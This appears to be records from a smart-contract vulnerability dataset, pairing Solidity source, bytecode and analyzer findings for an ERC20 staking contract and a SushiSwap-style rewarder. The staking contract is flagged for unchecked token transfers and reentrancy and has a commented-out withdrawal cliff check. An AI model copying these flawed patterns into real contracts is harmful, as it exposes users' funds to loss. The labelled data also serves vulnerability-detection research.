holders.add(msg.sender);
stakingTime[msg.sender] = block.timestamp;
}else{
}
}
function withdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
//require(block.timestamp.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing.");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(tokenAddress).transfer(owner, fee), "Could not transfer withdraw fee.");
require(Token(tokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claimDivs() public {
updateAccount(msg.sender);
}
function getStakersList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakingTimestamps[listIndex] = stakingTime[staker];
_lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
uint private constant stakingAndDaoTokens = 5000e18;
function getStakingAndDaoAmount() public view returns (uint) {
if (totalClaimedRewards >= stakingAndDaoTokens) {
return 0;
}
uint remaining = stakingAndDaoTokens.sub(totalClaimedRewards);
return remaining;
}
// function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake)
// Admin cannot transfer out YF-DAI from this smart contract
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
require (_tokenAddr != tokenAddress, "Cannot Transfer Out DFSocial");
Token(_tokenAddr).transfer(_to, _amount);
}
}
|
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80638da5cb5b116100ad578063c326bf4f11610071578063c326bf4f14610570578063d578ceab146105c8578063d816c7d5146105e6578063f2fde38b14610604578063f3f91fa0146106485761012c565b80638da5cb5b1461046457806398896d10146104985780639d76ea58146104f0578063b6b55f2514610524578063bec4de3f146105525761012c565b8063583d42fd116100f4578063583d42fd1461030a5780635ef057be146103625780636270cd18146103805780636a395ccb146103d85780637b0a47ee146104465761012c565b80631911cf4a1461013157806319aa70e714610296578063268cab49146102a05780632e1a7d4d146102be578063308feec3146102ec575b600080fd5b6101676004803603604081101561014757600080fd5b8101908080359060200190929190803590602001909291905050506106a0565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b838110156101b657808201518184015260208101905061019b565b50505050905001858103845288818151815260200191508051906020019060200280838360005b838110156101f85780820151818401526020810190506101dd565b50505050905001858103835287818151815260200191508051906020019060200280838360005b8381101561023a57808201518184015260208101905061021f565b50505050905001858103825286818151815260200191508051906020019060200280838360005b8381101561027c578082015181840152602081019050610261565b505050509050019850505050505050505060405180910390f35b61029e6109b9565b005b6102a86109c4565b6040518082815260200191505060405180910390f35b6102ea600480360360208110156102d457600080fd5b8101908080359060200190929190505050610a0d565b005b6102f4610ea6565b6040518082815260200191505060405180910390f35b61034c6004803603602081101561032057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eb7565b6040518082815260200191505060405180910390f35b61036a610ecf565b6040518082815260200191505060405180910390f35b6103c26004803603602081101561039657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ed4565b6040518082815260200191505060405180910390f35b610444600480360360608110156103ee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eec565b005b61044e6110ac565b6040518082815260200191505060405180910390f35b61046c6110b2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104da600480360360208110156104ae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110d6565b6040518082815260200191505060405180910390f35b6104f8611245565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105506004803603602081101561053a57600080fd5b810190808035906020019092919050505061125d565b005b61055a6116d2565b6040518082815260200191505060405180910390f35b6105b26004803603602081101561058657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116da565b6040518082815260200191505060405180910390f35b6105d06116f2565b6040518082815260200191505060405180910390f35b6105ee6116f8565b6040518082815260200191505060405180910390f35b6106466004803603602081101561061a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116fd565b005b61068a6004803603602081101561065e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061184c565b6040518082815260200191505060405180910390f35b6060806060808486106106b257600080fd5b60006106c7878761186490919063ffffffff16565b905060608167ffffffffffffffff811180156106e257600080fd5b506040519080825280602002602001820160405280156107115781602001602082028036833780820191505090505b50905060608267ffffffffffffffff8111801561072d57600080fd5b5060405190808252806020026020018201604052801561075c5781602001602082028036833780820191505090505b50905060608367ffffffffffffffff8111801561077857600080fd5b506040519080825280602002602001820160405280156107a75781602001602082028036833780820191505090505b50905060608467ffffffffffffffff811180156107c357600080fd5b506040519080825280602002602001820160405280156107f25781602001602082028036833780820191505090505b50905060008b90505b8a81101561099e57600061081982600361187b90919063ffffffff16565b905060006108308e8461186490919063ffffffff16565b90508187828151811061083f57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548682815181106108c557fe5b602002602001018181525050600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485828151811061091d57fe5b602002602001018181525050600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484828151811061097557fe5b602002602001018181525050505061099760018261189590919063ffffffff16565b90506107fb565b50838383839850985098509850505050505092959194509250565b6109c2336118b1565b565b600069010f0cf064dd59200000600254106109e25760009050610a0a565b6000610a0360025469010f0cf064dd5920000061186490919063ffffffff16565b9050809150505b90565b80600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ac2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b610acb336118b1565b6000610af5612710610ae7603285611b4790919063ffffffff16565b611b7690919063ffffffff16565b90506000610b0c828461186490919063ffffffff16565b90507354ee01beb60e745329e6a8711ad2d6cb213e38d773ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610bb357600080fd5b505af1158015610bc7573d6000803e3d6000fd5b505050506040513d6020811015610bdd57600080fd5b8101908080519060200190929190505050610c60576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f436f756c64206e6f74207472616e73666572207769746864726177206665652e81525060200191505060405180910390fd5b7354ee01beb60e745329e6a8711ad2d6cb213e38d773ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610ce557600080fd5b505af1158015610cf9573d6000803e3d6000fd5b505050506040513d6020811015610d0f57600080fd5b8101908080519060200190929190505050610d92576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b610de483600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186490919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e3b336003611b8f90919063ffffffff16565b8015610e8657506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610ea157610e9f336003611bbf90919063ffffffff16565b505b505050565b6000610eb26003611bef565b905090565b60066020528060005260406000206000915090505481565b606481565b60086020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f4457600080fd5b7354ee01beb60e745329e6a8711ad2d6cb213e38d773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ffa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f43616e6e6f74205472616e73666572204f7574204446536f6369616c0000000081525060200191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561106b57600080fd5b505af115801561107f573d6000803e3d6000fd5b505050506040513d602081101561109557600080fd5b810190808051906020019092919050505050505050565b60015481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006110ec826003611b8f90919063ffffffff16565b6110f95760009050611240565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561114a5760009050611240565b600061119e600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261186490919063ffffffff16565b90506000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006112376127106112296301e1338061121b8761120d60015489611b4790919063ffffffff16565b611b4790919063ffffffff16565b611b7690919063ffffffff16565b611b7690919063ffffffff16565b90508093505050505b919050565b7354ee01beb60e745329e6a8711ad2d6cb213e38d781565b600081116112d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b7354ee01beb60e745329e6a8711ad2d6cb213e38d773ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561137657600080fd5b505af115801561138a573d6000803e3d6000fd5b505050506040513d60208110156113a057600080fd5b8101908080519060200190929190505050611423576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b61142c336118b1565b6000611456612710611448606485611b4790919063ffffffff16565b611b7690919063ffffffff16565b9050600061146d828461186490919063ffffffff16565b90507354ee01beb60e745329e6a8711ad2d6cb213e38d773ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561151457600080fd5b505af1158015611528573d6000803e3d6000fd5b505050506040513d602081101561153e57600080fd5b81019080805190602001909291905050506115c1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f756c64206e6f74207472616e73666572206465706f736974206665652e0081525060200191505060405180910390fd5b61161381600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189590919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061166a336003611b8f90919063ffffffff16565b6116cc57611682336003611c0490919063ffffffff16565b5042600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116cd565b5b505050565b6301e1338081565b60056020528060005260406000206000915090505481565b60025481565b603281565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461175557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561178f57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60076020528060005260406000206000915090505481565b60008282111561187057fe5b818303905092915050565b600061188a8360000183611c34565b60001c905092915050565b6000808284019050838110156118a757fe5b8091505092915050565b60006118bc826110d6565b90506000811115611aff577354ee01beb60e745329e6a8711ad2d6cb213e38d773ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561194c57600080fd5b505af1158015611960573d6000803e3d6000fd5b505050506040513d602081101561197657600080fd5b81019080805190602001909291905050506119f9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b611a4b81600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189590919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611aa38160025461189590919063ffffffff16565b6002819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008082840290506000841480611b66575082848281611b6357fe5b04145b611b6c57fe5b8091505092915050565b600080828481611b8257fe5b0490508091505092915050565b6000611bb7836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611cb7565b905092915050565b6000611be7836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611cda565b905092915050565b6000611bfd82600001611dc2565b9050919050565b6000611c2c836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611dd3565b905092915050565b600081836000018054905011611c95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611e446022913960400191505060405180910390fd5b826000018281548110611ca457fe5b9060005260206000200154905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b60008083600101600084815260200190815260200160002054905060008114611db65760006001820390506000600186600001805490500390506000866000018281548110611d2557fe5b9060005260206000200154905080876000018481548110611d4257fe5b9060005260206000200181905550600183018760010160008381526020019081526020016000208190555086600001805480611d7a57fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050611dbc565b60009150505b92915050565b600081600001805490509050919050565b6000611ddf8383611cb7565b611e38578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050611e3d565b600090505b9291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e6473a26469706673582212205e693950e9d159c9b554de6abd13108c45e5f9473dba5f67859f97ce2f6bc3d964736f6c63430007050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 7,736 |
0x6c0b1e8d7441b2294c8391786d1d761edc936df3
|
/**
*Submitted for verification at Etherscan.io on 2021-06-11
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
/// @notice EIP 2612
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
library BoringERC20 {
bytes4 private constant SIG_SYMBOL = 0x95d89b41; // symbol()
bytes4 private constant SIG_NAME = 0x06fdde03; // name()
bytes4 private constant SIG_DECIMALS = 0x313ce567; // decimals()
bytes4 private constant SIG_TRANSFER = 0xa9059cbb; // transfer(address,uint256)
bytes4 private constant SIG_TRANSFER_FROM = 0x23b872dd; // transferFrom(address,address,uint256)
function returnDataToString(bytes memory data) internal pure returns (string memory) {
if (data.length >= 64) {
return abi.decode(data, (string));
} else if (data.length == 32) {
uint8 i = 0;
while(i < 32 && data[i] != 0) {
i++;
}
bytes memory bytesArray = new bytes(i);
for (i = 0; i < 32 && data[i] != 0; i++) {
bytesArray[i] = data[i];
}
return string(bytesArray);
} else {
return "???";
}
}
/// @notice Provides a safe ERC20.symbol version which returns '???' as fallback string.
/// @param token The address of the ERC-20 token contract.
/// @return (string) Token symbol.
function safeSymbol(IERC20 token) internal view returns (string memory) {
(bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(SIG_SYMBOL));
return success ? returnDataToString(data) : "???";
}
/// @notice Provides a safe ERC20.name version which returns '???' as fallback string.
/// @param token The address of the ERC-20 token contract.
/// @return (string) Token name.
function safeName(IERC20 token) internal view returns (string memory) {
(bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(SIG_NAME));
return success ? returnDataToString(data) : "???";
}
/// @notice Provides a safe ERC20.decimals version which returns '18' as fallback value.
/// @param token The address of the ERC-20 token contract.
/// @return (uint8) Token decimals.
function safeDecimals(IERC20 token) internal view returns (uint8) {
(bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(SIG_DECIMALS));
return success && data.length == 32 ? abi.decode(data, (uint8)) : 18;
}
/// @notice Provides a safe ERC20.transfer version for different ERC-20 implementations.
/// Reverts on a failed transfer.
/// @param token The address of the ERC-20 token.
/// @param to Transfer tokens to.
/// @param amount The token amount.
function safeTransfer(
IERC20 token,
address to,
uint256 amount
) internal {
(bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_TRANSFER, to, amount));
require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: Transfer failed");
}
/// @notice Provides a safe ERC20.transferFrom version for different ERC-20 implementations.
/// Reverts on a failed transfer.
/// @param token The address of the ERC-20 token.
/// @param from Transfer tokens from.
/// @param to Transfer tokens to.
/// @param amount The token amount.
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 amount
) internal {
(bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_TRANSFER_FROM, from, to, amount));
require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: TransferFrom failed");
}
}
/// @notice A library for performing overflow-/underflow-safe math,
/// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math).
library BoringMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow");
}
function to128(uint256 a) internal pure returns (uint128 c) {
require(a <= uint128(-1), "BoringMath: uint128 Overflow");
c = uint128(a);
}
function to64(uint256 a) internal pure returns (uint64 c) {
require(a <= uint64(-1), "BoringMath: uint64 Overflow");
c = uint64(a);
}
function to32(uint256 a) internal pure returns (uint32 c) {
require(a <= uint32(-1), "BoringMath: uint32 Overflow");
c = uint32(a);
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint128.
library BoringMath128 {
function add(uint128 a, uint128 b) internal pure returns (uint128 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint128 a, uint128 b) internal pure returns (uint128 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
// FILE: BoringOwnable
// Audit on 5-Jan-2021 by Keno and BoringCrypto
// Source: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol + Claimable.sol
// Edited by BoringCrypto
contract BoringOwnableData {
address public owner;
address public pendingOwner;
}
contract BoringOwnable is BoringOwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice `owner` defaults to msg.sender on construction.
constructor() public {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
/// Can only be invoked by the current `owner`.
/// @param newOwner Address of the new owner.
/// @param direct True if `newOwner` should be set immediately. False if `newOwner` needs to use `claimOwnership`.
/// @param renounce Allows the `newOwner` to be `address(0)` if `direct` and `renounce` is True. Has no effect otherwise.
function transferOwnership(
address newOwner,
bool direct,
bool renounce
) public onlyOwner {
if (direct) {
// Checks
require(newOwner != address(0) || renounce, "Ownable: zero address");
// Effects
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
pendingOwner = address(0);
} else {
// Effects
pendingOwner = newOwner;
}
}
/// @notice Needs to be called by `pendingOwner` to claim ownership.
function claimOwnership() public {
address _pendingOwner = pendingOwner;
// Checks
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
// Effects
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
}
interface IMasterChefV2 {
function lpToken(uint256 pid) external view returns (IERC20 _lpToken);
}
interface IRewarder {
using BoringERC20 for IERC20;
function onSushiReward(uint256 pid, address user, address recipient, uint256 sushiAmount, uint256 newLpAmount) external;
function pendingTokens(uint256 pid, address user, uint256 sushiAmount) external view returns (IERC20[] memory, uint256[] memory);
}
/// @author @0xKeno
contract CloneRewarderTime is IRewarder, BoringOwnable {
using BoringMath for uint256;
using BoringMath128 for uint128;
using BoringERC20 for IERC20;
IERC20 public rewardToken;
/// @notice Info of each MCV2 user.
/// `amount` LP token amount the user has provided.
/// `rewardDebt` The amount of SUSHI entitled to the user.
struct UserInfo {
uint256 amount;
uint256 rewardDebt;
}
/// @notice Info of each MCV2 pool.
/// `allocPoint` The amount of allocation points assigned to the pool.
/// Also known as the amount of SUSHI to distribute per block.
struct PoolInfo {
uint128 accSushiPerShare;
uint64 lastRewardTime;
}
/// @notice Info of each pool.
mapping (uint256 => PoolInfo) public poolInfo;
/// @notice Info of each user that stakes LP tokens.
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
uint256 public rewardPerSecond;
IERC20 public masterLpToken;
uint256 private constant ACC_TOKEN_PRECISION = 1e12;
address public immutable MASTERCHEF_V2;
event LogOnReward(address indexed user, uint256 indexed pid, uint256 amount, address indexed to);
event LogPoolAddition(uint256 indexed pid, uint256 allocPoint);
event LogSetPool(uint256 indexed pid, uint256 allocPoint);
event LogUpdatePool(uint256 indexed pid, uint64 lastRewardTime, uint256 lpSupply, uint256 accSushiPerShare);
event LogRewardPerSecond(uint256 rewardPerSecond);
event LogInit(IERC20 indexed rewardToken, address owner, uint256 rewardPerSecond, IERC20 indexed masterLpToken);
constructor (address _MASTERCHEF_V2) public {
MASTERCHEF_V2 = _MASTERCHEF_V2;
}
/// @notice Serves as the constructor for clones, as clones can't have a regular constructor
/// @dev `data` is abi encoded in the format: (IERC20 collateral, IERC20 asset, IOracle oracle, bytes oracleData)
function init(bytes calldata data) public payable {
require(rewardToken == IERC20(0), "Rewarder: already initialized");
(rewardToken, owner, rewardPerSecond, masterLpToken) = abi.decode(data, (IERC20, address, uint256, IERC20));
require(rewardToken != IERC20(0), "Rewarder: bad token");
emit LogInit(rewardToken, owner, rewardPerSecond, masterLpToken);
}
function onSushiReward (uint256 pid, address _user, address to, uint256, uint256 lpToken) onlyMCV2 override external {
require(IMasterChefV2(MASTERCHEF_V2).lpToken(pid) == masterLpToken);
PoolInfo memory pool = updatePool(pid);
UserInfo storage user = userInfo[pid][_user];
uint256 pending;
if (user.amount > 0) {
pending =
(user.amount.mul(pool.accSushiPerShare) / ACC_TOKEN_PRECISION).sub(
user.rewardDebt
);
rewardToken.safeTransfer(to, pending);
}
user.amount = lpToken;
user.rewardDebt = lpToken.mul(pool.accSushiPerShare) / ACC_TOKEN_PRECISION;
emit LogOnReward(_user, pid, pending, to);
}
function pendingTokens(uint256 pid, address user, uint256) override external view returns (IERC20[] memory rewardTokens, uint256[] memory rewardAmounts) {
IERC20[] memory _rewardTokens = new IERC20[](1);
_rewardTokens[0] = (rewardToken);
uint256[] memory _rewardAmounts = new uint256[](1);
_rewardAmounts[0] = pendingToken(pid, user);
return (_rewardTokens, _rewardAmounts);
}
/// @notice Sets the sushi per second to be distributed. Can only be called by the owner.
/// @param _rewardPerSecond The amount of Sushi to be distributed per second.
function setRewardPerSecond(uint256 _rewardPerSecond) public onlyOwner {
rewardPerSecond = _rewardPerSecond;
emit LogRewardPerSecond(_rewardPerSecond);
}
modifier onlyMCV2 {
require(
msg.sender == MASTERCHEF_V2,
"Only MCV2 can call this function."
);
_;
}
/// @notice View function to see pending Token
/// @param _pid The index of the pool. See `poolInfo`.
/// @param _user Address of user.
/// @return pending SUSHI reward for a given user.
function pendingToken(uint256 _pid, address _user) public view returns (uint256 pending) {
PoolInfo memory pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accSushiPerShare = pool.accSushiPerShare;
uint256 lpSupply = IMasterChefV2(MASTERCHEF_V2).lpToken(_pid).balanceOf(MASTERCHEF_V2);
if (block.timestamp > pool.lastRewardTime && lpSupply != 0) {
uint256 time = block.timestamp.sub(pool.lastRewardTime);
uint256 sushiReward = time.mul(rewardPerSecond);
accSushiPerShare = accSushiPerShare.add(sushiReward.mul(ACC_TOKEN_PRECISION) / lpSupply);
}
pending = (user.amount.mul(accSushiPerShare) / ACC_TOKEN_PRECISION).sub(user.rewardDebt);
}
/// @notice Update reward variables of the given pool.
/// @param pid The index of the pool. See `poolInfo`.
/// @return pool Returns the pool that was updated.
function updatePool(uint256 pid) public returns (PoolInfo memory pool) {
pool = poolInfo[pid];
if (block.timestamp > pool.lastRewardTime) {
uint256 lpSupply = IMasterChefV2(MASTERCHEF_V2).lpToken(pid).balanceOf(MASTERCHEF_V2);
if (lpSupply > 0) {
uint256 time = block.timestamp.sub(pool.lastRewardTime);
uint256 sushiReward = time.mul(rewardPerSecond);
pool.accSushiPerShare = pool.accSushiPerShare.add((sushiReward.mul(ACC_TOKEN_PRECISION) / lpSupply).to128());
}
pool.lastRewardTime = block.timestamp.to64();
poolInfo[pid] = pool;
emit LogUpdatePool(pid, pool.lastRewardTime, lpSupply, pool.accSushiPerShare);
}
}
}
|
0x6080604052600436106100f35760003560e01c80638bf637421161008a578063a8594dab11610059578063a8594dab1461028d578063d63b3c49146102a2578063e30c3978146102d0578063f7c618c1146102e5576100f3565b80638bf63742146102155780638da5cb5b146102355780638f10369a1461024a57806393f1a40b1461025f576100f3565b80634e71e0c8116100c65780634e71e0c81461019157806351eb05a6146101a65780635a894421146101d357806366da5815146101f5576100f3565b8063078dfbe7146100f85780631526fe271461011a57806348e43af4146101515780634ddf47d41461017e575b600080fd5b34801561010457600080fd5b5061011861011336600461139e565b6102fa565b005b34801561012657600080fd5b5061013a6101353660046114e6565b61045a565b6040516101489291906119d1565b60405180910390f35b34801561015d57600080fd5b5061017161016c366004611516565b61049e565b60405161014891906119fd565b61011861018c36600461140b565b610746565b34801561019d57600080fd5b50610118610877565b3480156101b257600080fd5b506101c66101c13660046114e6565b610943565b604051610148919061199e565b3480156101df57600080fd5b506101e8610c9b565b6040516101489190611620565b34801561020157600080fd5b506101186102103660046114e6565b610cbf565b34801561022157600080fd5b50610118610230366004611545565b610d36565b34801561024157600080fd5b506101e8610fbf565b34801561025657600080fd5b50610171610fdb565b34801561026b57600080fd5b5061027f61027a366004611516565b610fe1565b604051610148929190611a06565b34801561029957600080fd5b506101e8611005565b3480156102ae57600080fd5b506102c26102bd366004611596565b611021565b604051610148929190611667565b3480156102dc57600080fd5b506101e86110e6565b3480156102f157600080fd5b506101e8611102565b60005473ffffffffffffffffffffffffffffffffffffffff16331461033a5760405162461bcd60e51b815260040161033190611858565b60405180910390fd5b81156104145773ffffffffffffffffffffffffffffffffffffffff83161515806103615750805b61037d5760405162461bcd60e51b8152600401610331906117b3565b6000805460405173ffffffffffffffffffffffffffffffffffffffff808716939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff85167fffffffffffffffffffffffff000000000000000000000000000000000000000091821617909155600180549091169055610455565b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff85161790555b505050565b6003602052600090815260409020546fffffffffffffffffffffffffffffffff811690700100000000000000